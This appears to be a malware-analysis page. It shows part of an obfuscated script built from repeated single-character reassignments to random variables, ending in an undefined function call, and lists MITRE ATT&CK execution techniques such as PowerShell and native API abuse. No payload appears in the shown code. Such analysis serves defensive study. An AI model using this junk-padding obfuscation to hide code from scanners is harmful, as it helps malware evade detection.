352	ovvzf = "L";
353	ovvzf = "g";
354	ovvzf = "s";
355	ovvzf = "Y";
356	ovvzf = "Z";
357	ovvzf = "X";
358	ovvzf = "C";
359	ovvzf = "O";
360	ovvzf = "z";
361	ovvzf = "b";
362	ovvzf = "z";
363	ovvzf = "5";
364	bwqrch = "d";
365	bwqrch = "J";
366	bwqrch = "L";
367	bwqrch = "o";
368	bwqrch = "S";
369	bwqrch = "v";
370	bwqrch = "L";
371	bwqrch = "J";
372	bwqrch = "H";
373	bwqrch = "C";
374	bwqrch = "M";
375	bwqrch = "d";
376	bwqrch = "e";
377	bwqrch = "b";
378	bwqrch = "s";
379	bwqrch = "G";
380	bwqrch = "U";
381	bwqrch = "I";
382	bwqrch = "i";
383	bwqrch = "A";
384	bwqrch = "N";
385	bwqrch = "s";
386	bwqrch = "c";
387	kwefxzjt = "L";
388	kwefxzjt = "i";
389	kwefxzjt = "d";
390	kwefxzjt = "s";
391	kwefxzjt = "w";
392	kwefxzjt = "u";
393	kwefxzjt = "E";
394	kwefxzjt = "R";
395	kwefxzjt = "g";
396	kwefxzjt = "A";
397	kwefxzjt = "b";
398	kwefxzjt = "R";
399	kwefxzjt = "F";
400	kwefxzjt = "M";
401	kwefxzjt = "s";
402	kwefxzjt = "E";
403	kwefxzjt = "b";
404	kwefxzjt = "p";
405	kwefxzjt = "C";
406	kwefxzjt = "a";
407	kwefxzjt = "E";
408	kwefxzjt = "Z";
409	kwefxzjt = "E";
410	kwefxzjt = "i";
411	kwefxzjt = "k";
412	kwefxzjt = "D";
413	kwefxzjt = "s";
414	kwefxzjt = "T";
415	kwefxzjt = "Q";
416	kwefxzjt = "Y";
417	kwefxzjt = "K";
418	kwefxzjt = "S";
419	kwefxzjt = "l";
420	kwefxzjt = "W";
421	kwefxzjt = "x";
422	kwefxzjt = "G";
423	kwefxzjt = "Y";
424	kwefxzjt = "K";
425	kwefxzjt = "P";
426	kwefxzjt = "C";
427	kwefxzjt = "D";
428	kwefxzjt = "K";
429	kwefxzjt = "Q";
430	kwefxzjt = "K";
431	kwefxzjt = "\\";
432	rrdreeo = "Z";
433	rrdreeo = "q";
434	rrdreeo = "o";
435	rrdreeo = "f";
436	rrdreeo = "C";
437	rrdreeo = "G";
438	rrdreeo = "U";
439	rrdreeo = "A";
440	rrdreeo = "N";
441	rrdreeo = "H";
442	jmxqqv = "r";
443	jmxqqv = "v";
444	jmxqqv = "B";
445	jmxqqv = "G";
446	jmxqqv = "P";
447	jmxqqv = "p";
448	jmxqqv = "K";
449	jmxqqv = "A";
450	jmxqqv = "k";
451	jmxqqv = "i";
452	jmxqqv = "T";
453	jmxqqv = "j";
454	jmxqqv = "y";
455	jmxqqv = "J";
456	jmxqqv = "o";
457	jmxqqv = "J";
458	jmxqqv = "s";
459	jmxqqv = "p";
460	jmxqqv = "R";
461	jmxqqv = "i";
462	jmxqqv = "n";
463	jmxqqv = "S";
464	jmxqqv = "T";
465	jmxqqv = "V";
466	jmxqqv = "y";
467	jmxqqv = "Q";
468	jmxqqv = "L";
469	jmxqqv = "D";
470	jmxqqv = "e";
471	jmxqqv = "x";
472	jmxqqv = "m";
473	jmxqqv = "k";
474	jmxqqv = "d";
475	jmxqqv = "Z";
476	jmxqqv = "N";
477	jmxqqv = "q";
478	jmxqqv = "o";
479	dgppmm = "Z";
480	dgppmm = "A";
481	dgppmm = "p";
482	dgppmm = "d";
483	dgppmm = "W";
484	dgppmm = "C";
485	dgppmm = "J";
486	dgppmm = "L";
487	dgppmm = "d";
488	dgppmm = "O";
489	dgppmm = "H";
490	dgppmm = "f";
491	dgppmm = "U";
492	dgppmm = "T";
493	dgppmm = "b";
494	dgppmm = "E";
495	dgppmm = "s";
496	dgppmm = "V";
497	dgppmm = "v";
498	dgppmm = "S";
499	dgppmm = "X";
500	dgppmm = "y";
501	dgppmm = "T";
502	dgppmm = "r";
503	iwdmt = "c";
504	iwdmt = "S";
505	tizhqc = "o";
506	tizhqc = "R";
507	tizhqc = "n";
508	tizhqc = "k";
509	tizhqc = "e";
510	tizhqc = "H";
511	tizhqc = "R";
512	tizhqc = "S";
513	tizhqc = "i";
514	tizhqc = "b";
515	tizhqc = "P";
516	tizhqc = "m";
517	tizhqc = "B";
518	tizhqc = "l";
519	tizhqc = "L";
520	lsfll = "U";
521	lsfll = "P";
522	lsfll = "Q";
523	lsfll = "q";
524	lsfll = "p";
525	lsfll = "u";
526	lsfll = "r";
527	lsfll = "b";
528	lsfll = "U";
529	lsfll = "P";
530	lsfll = "q";
531	lsfll = "m";
532	lsfll = "H";
533	lsfll = "b";
534	lsfll = "f";
535	lsfll = "U";
536	lsfll = "B";
537	lsfll = "t";
538	lsfll = "l";
539	lsfll = "J";
540	lsfll = "c";
541	lsfll = "j";
542	lsfll = "D";
543	lsfll = "Y";
544	lsfll = "L";
545	lsfll = "m";
546	lsfll = "q";
547	lsfll = "k";
548	lsfll = "x";
549	lsfll = "V";
550	lsfll = "a";
551	lsfll = "F";
552	lsfll = "t";
553	lsfll = "X";
554	lsfll = "C";
555	lsfll = "N";
556	lsfll = "z";
557	lsfll = "J";
558	lsfll = "o";
559	lsfll = "Q";
560	lsfll = "s";
561	lsfll = "Q";
562	lsfll = "M";
563	lsfll = "T";
564	lsfll = "6";
565	snaok = "u";
566	snaok = "v";
567	snaok = "G";
568	snaok = "f";
569	snaok = "e";
570	snaok = "J";
571	snaok = "O";
572	snaok = "s";
573	snaok = "R";
574	xwrjz = "V";
575	xwrjz = "O";
576	xwrjz = "b";
577	xwrjz = "e";
578	xwrjz = "C";
579	xwrjz = "F";
580	xwrjz = "U";
581	xwrjz = "z";
582	xwrjz = "F";
583	xwrjz = "q";
584	xwrjz = "J";
585	xwrjz = "u";
586	xwrjz = "R";
587	xwrjz = "u";
588	xwrjz = "C";
589	xwrjz = "I";
590	xwrjz = "u";
591	xwrjz = "q";
592	xwrjz = "b";
593	xwrjz = "W";
594	xwrjz = "A";
595	xwrjz = "Z";
596	xwrjz = "f";
597	xwrjz = "p";
598	xwrjz = "H";
599	xwrjz = "F";
600	xwrjz = "D";
601	xwrjz = "h";
602	xwrjz = "r";
603	xwrjz = "Y";
604	xwrjz = "t";
605	xwrjz = "a";
606	xwrjz = "z";
607	xwrjz = "d";
608	xwrjz = "j";
609	xwrjz = "t";
610	xwrjz = "S";
611	xwrjz = "y";
612	xwrjz = "D";
613	xwrjz = "Y";
614	xwrjz = "j";
615	liazwbg = "a";
616	liazwbg = "p";
617	liazwbg = "b";
618	liazwbg = "G";
619	liazwbg = "j";
620	liazwbg = "F";
621	liazwbg = "I";
622	liazwbg = "A";
623	liazwbg = "C";
624	liazwbg = "K";
625	liazwbg = "T";
626	liazwbg = "S";
627	liazwbg = "B";
628	liazwbg = "I";
629	liazwbg = "d";
630	liazwbg = "j";
631	liazwbg = "i";
632	liazwbg = "A";
633	liazwbg = "c";
634	liazwbg = "D";
635	liazwbg = "E";
636	liazwbg = "D";
637	liazwbg = "o";
638	liazwbg = "m";
639	liazwbg = "f";
640	liazwbg = "G";
641	liazwbg = "j";
642	liazwbg = "O";
643	xoimd = "Q";
644	xoimd = "G";
645	xoimd = "k";
646	xoimd = "s";
647	xoimd = "t";
648	xoimd = "m";
649	xoimd = "K";
650	xoimd = "u";
651	xoimd = "z";
652	xoimd = "o";
653	xoimd = "v";
654	xoimd = "k";
655	xoimd = "A";
656	xoimd = "C";
657	xoimd = "V";
658	xoimd = "K";
659	doxrzsty = "b";
660	doxrzsty = "y";
661	doxrzsty = "f";
662	doxrzsty = "q";
663	doxrzsty = "p";
664	doxrzsty = "c";
665	doxrzsty = "M";
666	doxrzsty = "z";
667	doxrzsty = "k";
668	doxrzsty = "T";
669	doxrzsty = "b";
670	doxrzsty = "S";
671	doxrzsty = "j";
672	doxrzsty = "b";
673	doxrzsty = "Q";
674	doxrzsty = "r";
675	doxrzsty = "L";
676	doxrzsty = "t";
677	doxrzsty = "Q";
678	doxrzsty = "K";
679	doxrzsty = "Y";
680	doxrzsty = "T";
681	doxrzsty = "T";
682	doxrzsty = "r";
683	doxrzsty = "i";
684	doxrzsty = "T";
685	doxrzsty = "Z";
686	doxrzsty = "Y";
687	doxrzsty = "c";
688	doxrzsty = "S";
689	doxrzsty = "Q";
690	doxrzsty = "t";
691	doxrzsty = "q";
692	doxrzsty = "j";
693	doxrzsty = "M";
694	doxrzsty = "v";
695	doxrzsty = "B";
696	doxrzsty = "B";
697	doxrzsty = "o";
698	doxrzsty = "x";
699	doxrzsty = "e";
700	doxrzsty = "q";
701	doxrzsty = "W";
702	ahtgds = "t";
703	ahtgds = "E";
704	ahtgds = "Y";
705	ahtgds = "L";
706	ahtgds = "O";
707	ahtgds = "A";
708	ahtgds = "s";
709	ahtgds = "F";
710	ahtgds = "L";
711	ahtgds = "n";
712	ahtgds = "L";
713	ahtgds = "I";
714	ahtgds = "l";
715	rsrcnrei = "r";
716	rsrcnrei = "J";
717	rsrcnrei = "Q";
718	rsrcnrei = "d";
719	rsrcnrei = "w";
720	rsrcnrei = "o";
721	rsrcnrei = "k";
722	rsrcnrei = "V";
723	rsrcnrei = "M";
724	rsrcnrei = "S";
725	rsrcnrei = "e";
726	rsrcnrei = "U";
727	rsrcnrei = "F";
728	obvyee = "V";
729	obvyee = "C";
730	obvyee = "A";
731	obvyee = "p";
732	obvyee = "w";
733	obvyee = "A";
734	obvyee = "W";
735	obvyee = "T";
736	obvyee = "Y";
737	obvyee = "H";
738	obvyee = "H";
739	obvyee = "B";
740	obvyee = "G";
741	obvyee = "u";
742	obvyee = "m";
743	obvyee = "Z";
744	obvyee = "C";
745	obvyee = "A";
746	obvyee = "y";
747	obvyee = "s";
748	obvyee = "I";
749	obvyee = "A";
750	obvyee = "j";
751	obvyee = "W";
752	obvyee = "i";
753	obvyee = "h";
754	obvyee = "u";
755	obvyee = "4";
756	elwbv = "J";
757	elwbv = "B";
758	elwbv = "S";
759	elwbv = "c";
760	elwbv = "G";
761	elwbv = "h";
762	elwbv = "g";
763	elwbv = "Q";
764	elwbv = "a";
765	elwbv = "T";
766	elwbv = "M";
767	elwbv = "x";
768	elwbv = "X";
769	elwbv = "L";
770	elwbv = "f";
771	elwbv = "R";
772	elwbv = "B";
773	elwbv = "v";
774	elwbv = "W";
775	elwbv = "w";
776	elwbv = "F";
777	elwbv = "D";
778	elwbv = "J";
779	elwbv = "T";
780	sudrue = "z";
781	sudrue = "w";
782	sudrue = "Y";
783	sudrue = "k";
784	sudrue = "W";
785	sudrue = "W";
786	sudrue = "q";
787	sudrue = "n";
788	sudrue = "d";
789	sudrue = "h";
790	sudrue = "b";
791	sudrue = "p";
792	sudrue = "h";
793	sudrue = "R";
794	sudrue = "b";
795	sudrue = "P";
796	sudrue = "n";
797	sudrue = "w";
798	sudrue = "Y";
799	sudrue = "R";
800	sudrue = "g";
801	sudrue = "b";
802	sudrue = "H";
803	sudrue = "K";
804	sudrue = "U";
805	sudrue = "E";
806	sudrue = "x";
807	sudrue = ".";
808	urszryc = "e";
809	urszryc = "r";
810	urszryc = "l";
811	urszryc = "r";
812	urszryc = "v";
813	urszryc = "u";
814	urszryc = "J";
815	urszryc = "e";
816	urszryc = "D";
817	urszryc = "T";
818	urszryc = "S";
819	urszryc = "S";
820	urszryc = "x";
821	urszryc = "F";
822	urszryc = "R";
823	urszryc = "L";
824	urszryc = ":";
825	aaojehe = "H";
826	aaojehe = "s";
827	aaojehe = "s";
828	aaojehe = "_";
829	fvjxaygg = "D";
830	fvjxaygg = "n";
831	fvjxaygg = "v";
832	fvjxaygg = "y";
833	fvjxaygg = "o";
834	fvjxaygg = "x";
835	fvjxaygg = "G";
836	fvjxaygg = "d";
837	fvjxaygg = "k";
838	fvjxaygg = "S";
839	fvjxaygg = "H";
840	fvjxaygg = "m";
841	fvjxaygg = "l";
842	fvjxaygg = "A";
843	fvjxaygg = "S";
844	fvjxaygg = "Z";
845	fvjxaygg = "y";
846	fvjxaygg = "b";
847	fvjxaygg = "b";
848	bkedorpc = "V";
849	bkedorpc = "f";
850	bkedorpc = "f";
851	bkedorpc = "M";
852	bkedorpc = "R";
853	bkedorpc = "x";
854	bkedorpc = "P";
855	bkedorpc = "w";
856	bkedorpc = "O";
857	bkedorpc = "A";
858	bkedorpc = "P";
859	bkedorpc = "J";
860	bkedorpc = "O";
861	bkedorpc = "j";
862	bkedorpc = "r";
863	bkedorpc = "p";
864	bkedorpc = "K";
865	bkedorpc = "V";
866	bkedorpc = "q";
867	bkedorpc = "r";
868	bkedorpc = "n";
869	bkedorpc = "n";
870	bkedorpc = "m";
871	bkedorpc = "w";
872	bkedorpc = "j";
873	bkedorpc = "d";
874	bkedorpc = "D";
875	bkedorpc = "l";
876	bkedorpc = "L";
877	bkedorpc = "k";
878	bkedorpc = "G";
879	bkedorpc = "B";
880	bkedorpc = "m";
881	bkedorpc = "d";
882	bkedorpc = "k";
883	bkedorpc = "k";
884	bkedorpc = "Q";
885	bkedorpc = "q";
886	bkedorpc = "t";
887	bkedorpc = "q";
888	bkedorpc = "P";
889	bkedorpc = "9";
890	edqua = "t";
891	edqua = "a";
892	edqua = "J";
893	edqua = "V";
894	edqua = "Z";
895	edqua = "P";
896	edqua = "a";
897	edqua = "Y";
898	edqua = "e";
899	edqua = "l";
900	edqua = "L";
901	edqua = "w";
902	edqua = "S";
903	edqua = "U";
904	edqua = "c";
905	edqua = "K";
906	edqua = "S";
907	edqua = "O";
908	edqua = "X";
909	edqua = "l";
910	edqua = "x";
911	edqua = "y";
912	edqua = "K";
913	edqua = "v";
914	edqua = "G";
915	edqua = "u";
916	edqua = "f";
917	edqua = "E";
918	edqua = "t";
919	edqua = "j";
920	edqua = "r";
921	edqua = "J";
922	edqua = "h";
923	edqua = "C";
924	edqua = "X";
925	edqua = "H";
926	edqua = "e";
927	edqua = "S";
928	edqua = "e";
929	edqua = "n";
930	edqua = "p";
931	edqua = " ";
932	rzwdb = "I";
933	rzwdb = "D";
934	rzwdb = "d";
935	rzwdb = "I";
936	rzwdb = "v";
937	rzwdb = "j";
938	rzwdb = "J";
939	rzwdb = "q";
940	rzwdb = "u";
941	rzwdb = "S";
942	rzwdb = "F";
943	rzwdb = "E";
944	rzwdb = "y";
945	rzwdb = "T";
946	rzwdb = "E";
947	rzwdb = "i";
948	rzwdb = "m";
949	rzwdb = "v";
950	rzwdb = "V";
951	rzwdb = "p";
952	rzwdb = "x";
953	rzwdb = "b";
954	rzwdb = "Z";
955	rzwdb = "v";
956	rzwdb = "J";
957	rzwdb = "O";
958	rzwdb = "X";
959	rzwdb = "D";
960	rzwdb = "S";
961	rzwdb = "v";
962	rzwdb = "e";
963	rzwdb = "e";
964	rzwdb = "8";
965	tdvypya = "H";
966	tdvypya = "Q";
967	tdvypya = "O";
968	tdvypya = "Y";
969	tdvypya = "Y";
970	tdvypya = "C";
971	tdvypya = "h";
972	tdvypya = "t";
973	tdvypya = "h";
974	tdvypya = "g";
975	tdvypya = "D";
976	tdvypya = "e";
977	tdvypya = "q";
978	tdvypya = "k";
979	tdvypya = "V";
980	tdvypya = "z";
981	tdvypya = "-";
982	lauip = "r";
983	lauip = "F";
984	lauip = "b";
985	lauip = "M";
986	lauip = "B";
987	lauip = "s";
988	lauip = "L";
989	lauip = "M";
990	lauip = "T";
991	lauip = "u";
992	lauip = "Y";
993	lauip = "c";
994	lauip = "S";
995	lauip = "q";
996	lauip = "N";
997	lauip = "i";
998	lauip = "r";
999	lauip = "a";
1000	lauip = "U";
1001	lauip = "E";
1002	lauip = "A";
1003	lauip = "X";
1004	lauip = "Q";
1005	lauip = "I";
1006	lauip = "N";
1007	lauip = "s";
1008	lauip = "m";
1009	lauip = "M";
1010	lauip = "I";
1011	lauip = "s";
1012	lauip = "j";
1013	lauip = "L";
1014	lauip = "i";
1015	lauip = "s";
1016	lauip = "G";
1017	lauip = "v";
1018	lauip = "E";
1019	lauip = "x";
1020	lauip = "U";
1021	lauip = "N";
1022	lauip = "d";
1023	iwagaocz = "o";
1024	iwagaocz = "d";
1025	iwagaocz = "g";
1026	iwagaocz = "I";
1027	iwagaocz = "I";
1028	iwagaocz = "X";
1029	iwagaocz = "j";
1030	iwagaocz = "w";
1031	wjvvuxb = "I";
1032	wjvvuxb = "J";
1033	wjvvuxb = "W";
1034	wjvvuxb = "J";
1035	wjvvuxb = "B";
1036	wjvvuxb = "V";
1037	wjvvuxb = "f";
1038	dgpqkp = "e";
1039	dgpqkp = "D";
1040	dgpqkp = "t";
1041	kjohpf = "H";
1042	kjohpf = "P";
1043	kjohpf = "b";
1044	kjohpf = "o";
1045	kjohpf = "u";
1046	kjohpf = "y";
1047	kjohpf = "R";
1048	kjohpf = "T";
1049	kjohpf = "y";
1050	kjohpf = "X";
1051	kjohpf = "J";
1052	kjohpf = "B";
1053	kjohpf = "n";
1054	kjohpf = "V";
1055	kjohpf = "Z";
1056	kjohpf = "Y";
1057	kjohpf = "I";
1058	kjohpf = "F";
1059	kjohpf = "x";
1060	kjohpf = "s";
1061	kjohpf = "p";
1062	kjohpf = "W";
1063	kjohpf = "C";
1064	kjohpf = "s";
1065	kjohpf = "b";
1066	kjohpf = "Y";
1067	lgqzlbve = "r";
1068	lgqzlbve = "e";
1069	lgqzlbve = "O";
1070	lgqzlbve = "I";
1071	lgqzlbve = "N";
1072	lgqzlbve = "w";
1073	lgqzlbve = "T";
1074	lgqzlbve = "L";
1075	lgqzlbve = "p";
1076	lgqzlbve = "U";
1077	lgqzlbve = "S";
1078	lgqzlbve = "G";
1079	lgqzlbve = "R";
1080	lgqzlbve = "q";
1081	lgqzlbve = "o";
1082	lgqzlbve = "f";
1083	lgqzlbve = "J";
1084	lgqzlbve = "F";
1085	lgqzlbve = "M";
1086	lgqzlbve = "t";
1087	lgqzlbve = "g";
1088	lgqzlbve = "0";
1089	geeyln = "Q";
1090	geeyln = "f";
1091	geeyln = "t";
1092	geeyln = "i";
1093	geeyln = "y";
1094	geeyln = "w";
1095	geeyln = "A";
1096	geeyln = "R";
1097	geeyln = "q";
1098	geeyln = "r";
1099	geeyln = "k";
1100	geeyln = "R";
1101	geeyln = "Y";
1102	geeyln = "h";
1103	geeyln = "K";
1104	geeyln = "i";
1105	geeyln = "P";
1106	geeyln = "j";
1107	geeyln = "u";
1108	geeyln = "M";
1109	geeyln = "O";
1110	geeyln = "G";
1111	geeyln = "F";
1112	geeyln = "D";
1113	geeyln = "R";
1114	geeyln = "B";
1115	geeyln = "i";
1116	geeyln = "L";
1117	geeyln = "N";
1118	geeyln = "O";
1119	geeyln = "P";
1120	geeyln = "L";
1121	geeyln = "I";
1122	geeyln = "/";
1123	yzvbiilut = "P";
1124	yzvbiilut = "y";
1125	yzvbiilut = "J";
1126	yzvbiilut = "o";
1127	yzvbiilut = "O";
1128	yzvbiilut = "y";
1129	yzvbiilut = "n";
1130	yzvbiilut = "W";
1131	yzvbiilut = "j";
1132	yzvbiilut = "Q";
1133	yzvbiilut = "m";
1134	yzvbiilut = "F";
1135	yzvbiilut = "f";
1136	yzvbiilut = "H";
1137	yzvbiilut = "X";
1138	yzvbiilut = "Q";
1139	yzvbiilut = "S";
1140	yzvbiilut = "P";
1141	yzvbiilut = "k";
1142	yzvbiilut = "%";
1143	bvfcsna = "W";
1144	bvfcsna = "H";
1145	bvfcsna = "b";
1146	bvfcsna = "C";
1147	bvfcsna = "T";
1148	bvfcsna = "B";
1149	bvfcsna = "E";
1150	bvfcsna = "X";
1151	bvfcsna = "k";
1152	bvfcsna = "v";
1153	bvfcsna = "Y";
1154	bvfcsna = "u";
1155	bvfcsna = "M";
1156	bvfcsna = "e";
1157	bvfcsna = "C";
1158	bvfcsna = "U";
1159	bvfcsna = "X";
1160	bvfcsna = "O";
1161	bvfcsna = "w";
1162	bvfcsna = "U";
1163	bvfcsna = "C";
1164	cebxc = "h";
1165	cebxc = "N";
1166	cebxc = "T";
1167	cebxc = "h";
1168	cebxc = "i";
1169	cebxc = "i";
1170	cebxc = "D";
1171	cebxc = "3";
1172	pvlopaky = "V";
1173	pvlopaky = "a";
1174	pvlopaky = "e";
1175	pvlopaky = "X";
1176	pvlopaky = "D";
1177	pvlopaky = "u";
1178	pvlopaky = "V";
1179	pvlopaky = "d";
1180	pvlopaky = "L";
1181	pvlopaky = "r";
1182	pvlopaky = "t";
1183	pvlopaky = "b";
1184	pvlopaky = "C";
1185	pvlopaky = "O";
1186	pvlopaky = "N";
1187	pvlopaky = "z";
1188	pvlopaky = "g";
1189	pvlopaky = "q";
1190	pvlopaky = "K";
1191	pvlopaky = "D";
1192	pvlopaky = "a";
1193	toenercwn = "L";
1194	toenercwn = "d";
1195	toenercwn = "X";
1196	toenercwn = "L";
1197	toenercwn = "N";
1198	toenercwn = "m";
1199	toenercwn = "E";
1200	toenercwn = "u";
1201	toenercwn = "U";
1202	toenercwn = "z";
1203	toenercwn = "g";
1204	toenercwn = "l";
1205	toenercwn = "l";
1206	toenercwn = "a";
1207	toenercwn = "J";
1208	toenercwn = "X";
1209	toenercwn = "J";
1210	toenercwn = "R";
1211	toenercwn = "t";
1212	toenercwn = "z";
1213	toenercwn = "z";
1214	toenercwn = "y";
1215	toenercwn = "i";
1216	toenercwn = "C";
1217	toenercwn = "b";
1218	toenercwn = "I";
1219	toenercwn = "F";
1220	toenercwn = "o";
1221	toenercwn = "e";
1222	toenercwn = "f";
1223	toenercwn = "s";
1224	toenercwn = "m";
1225	toenercwn = "e";
1226	toenercwn = "O";
1227	toenercwn = "P";
1228	mtfzb = "c";
1229	mtfzb = "Q";
1230	mtfzb = "D";
1231	mtfzb = "t";
1232	mtfzb = "l";
1233	mtfzb = "X";
1234	mtfzb = "X";
1235	mtfzb = "I";
1236	mtfzb = "Z";
1237	mtfzb = "Z";
1238	mtfzb = "O";
1239	mtfzb = "q";
1240	mtfzb = "F";
1241	mtfzb = "T";
1242	mtfzb = "x";
1243	mtfzb = "f";
1244	mtfzb = "d";
1245	mtfzb = "J";
1246	mtfzb = "Q";
1247	mtfzb = "r";
1248	mtfzb = "j";
1249	mtfzb = "m";
1250	mtfzb = "c";
1251	mtfzb = "m";
1252	mtfzb = "E";
1253	mtfzb = "y";
1254	mtfzb = "j";
1255	mtfzb = "Z";
1256	mtfzb = "V";
1257	mtfzb = "T";
1258	mtfzb = "U";
1259	mtfzb = "J";
1260	mtfzb = "R";
1261	mtfzb = "t";
1262	mtfzb = "j";
1263	mtfzb = "O";
1264	mtfzb = "V";
1265	mtfzb = "w";
1266	mtfzb = "R";
1267	mtfzb = "T";
1268	mtfzb = "R";
1269	mtfzb = "U";
1270	mtfzb = "x";
1271	dcttmhi = "H";
1272	dcttmhi = "q";
1273	dcttmhi = "e";
1274	dcttmhi = "d";
1275	dcttmhi = "A";
1276	dcttmhi = "Z";
1277	dcttmhi = "Y";
1278	dcttmhi = "I";
1279	dcttmhi = "k";
1280	dcttmhi = "Z";
1281	dcttmhi = "e";
1282	dcttmhi = "e";
1283	dcttmhi = "K";
1284	dcttmhi = "x";
1285	dcttmhi = "h";
1286	dcttmhi = "X";
1287	dcttmhi = "D";
1288	dcttmhi = "p";
1289	dcttmhi = "K";
1290	dcttmhi = "U";
1291	dcttmhi = "p";
1292	dcttmhi = "g";
1293	dcttmhi = "v";
1294	dcttmhi = "y";
1295	dcttmhi = "U";
1296	dcttmhi = "W";
1297	dcttmhi = "u";
1298	dcttmhi = "h";
1299	dcttmhi = "W";
1300	dcttmhi = "\"";
1301	ompxouge = "r";
1302	ompxouge = "S";
1303	ompxouge = "p";
1304	ompxouge = "p";
1305	ompxouge = "k";
1306	ompxouge = "z";
1307	ompxouge = "o";
1308	ompxouge = "m";
1309	ompxouge = "U";
1310	ompxouge = "v";
1311	ompxouge = "w";
1312	ompxouge = "s";
1313	ompxouge = "F";
1314	ompxouge = "O";
1315	ompxouge = "j";
1316	ompxouge = "M";
1317	ompxouge = "S";
1318	ompxouge = "u";
1319	ompxouge = "W";
1320	ompxouge = "H";
1321	ompxouge = "I";
1322	ompxouge = "m";
1323	ompxouge = "p";
1324	ompxouge = "t";
1325	ompxouge = "d";
1326	ompxouge = "M";
1327	ompxouge = "T";
1328	ompxouge = "Q";
1329	ompxouge = "o";
1330	ompxouge = "t";
1331	ompxouge = "u";
1332	ompxouge = "t";
1333	ompxouge = "Y";
1334	ompxouge = "o";
1335	ompxouge = "y";
1336	ompxouge = "&";
1337	nysadd = "p";
1338	nysadd = "K";
1339	nysadd = "c";
1340	nysadd = "G";
1341	nysadd = "m";
1342	nysadd = "b";
1343	nysadd = "d";
1344	nysadd = "w";
1345	nysadd = "t";
1346	nysadd = "U";
1347	nysadd = "A";
1348	nysadd = "v";
1349	nysadd = "l";
1350	nysadd = "z";
1351	nysadd = "e";
1352	nysadd = "D";
1353	nysadd = "v";
1354	nysadd = "r";
1355	nysadd = "p";
1356	nysadd = "X";
1357	nysadd = "b";
1358	nysadd = "h";
1359	nysadd = "y";
1360	nysadd = "n";
1361	nysadd = "K";
1362	nysadd = "p";
1363	nysadd = "X";
1364	nysadd = "a";
1365	nysadd = "M";
1366	nysadd = "W";
1367	nysadd = "i";
1368	nysadd = "A";
1369	nysadd = "S";
1370	nysadd = "U";
1371	ibyokejjt = "G";
1372	ibyokejjt = "s";
1373	ibyokejjt = "C";
1374	ibyokejjt = "X";
1375	ibyokejjt = "m";
1376	ibyokejjt = "R";
1377	ibyokejjt = "H";
1378	ibyokejjt = "J";
1379	ibyokejjt = "n";
1380	ibyokejjt = "q";
1381	ibyokejjt = "B";
1382	ibyokejjt = "I";
1383	egaurpq = "f";
1384	egaurpq = "H";
1385	egaurpq = "z";
1386	egaurpq = "k";
1387	egaurpq = "M";
1388	egaurpq = "f";
1389	egaurpq = "U";
1390	egaurpq = "A";
1391	egaurpq = "K";
1392	egaurpq = "E";
1393	perqsfxwk = "b";
1394	perqsfxwk = "l";
1395	perqsfxwk = "n";
1396	perqsfxwk = "m";
1397	perqsfxwk = "W";
1398	perqsfxwk = "P";
1399	perqsfxwk = "T";
1400	perqsfxwk = "t";
1401	perqsfxwk = "k";
1402	perqsfxwk = "B";
1403	perqsfxwk = "n";
1404	perqsfxwk = "W";
1405	perqsfxwk = "M";
1406	perqsfxwk = "K";
1407	perqsfxwk = "E";
1408	perqsfxwk = "F";
1409	perqsfxwk = "s";
1410	perqsfxwk = "L";
1411	perqsfxwk = "b";
1412	perqsfxwk = "n";
1413	perqsfxwk = "f";
1414	perqsfxwk = "n";
1415	perqsfxwk = "n";
1416	perqsfxwk = "q";
1417	perqsfxwk = "R";
1418	perqsfxwk = "W";
1419	perqsfxwk = "s";
1420	perqsfxwk = "C";
1421	perqsfxwk = "u";
1422	perqsfxwk = "R";
1423	perqsfxwk = "Y";
1424	perqsfxwk = "N";
1425	perqsfxwk = "g";
1426	perqsfxwk = "G";
1427	perqsfxwk = "D";
1428	perqsfxwk = "K";
1429	perqsfxwk = "f";
1430	perqsfxwk = "h";
1431	perqsfxwk = "H";
1432	perqsfxwk = "h";
1433	perqsfxwk = "I";
1434	perqsfxwk = "o";
1435	perqsfxwk = "1";
1436	zkzqqixcd = "A";
1437	zkzqqixcd = "Q";
1438	zkzqqixcd = "L";
1439	zkzqqixcd = "H";
1440	zkzqqixcd = "m";
1441	zkzqqixcd = "O";
1442	zkzqqixcd = "h";
1443	zkzqqixcd = "T";
1444	zkzqqixcd = "u";
1445	zkzqqixcd = "d";
1446	zkzqqixcd = "C";
1447	zkzqqixcd = "N";
1448	zkzqqixcd = "b";
1449	zkzqqixcd = "D";
1450	zkzqqixcd = "e";
1451	zkzqqixcd = "@";
1452	dfmbxhqry ( );	dfmbxhqry() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
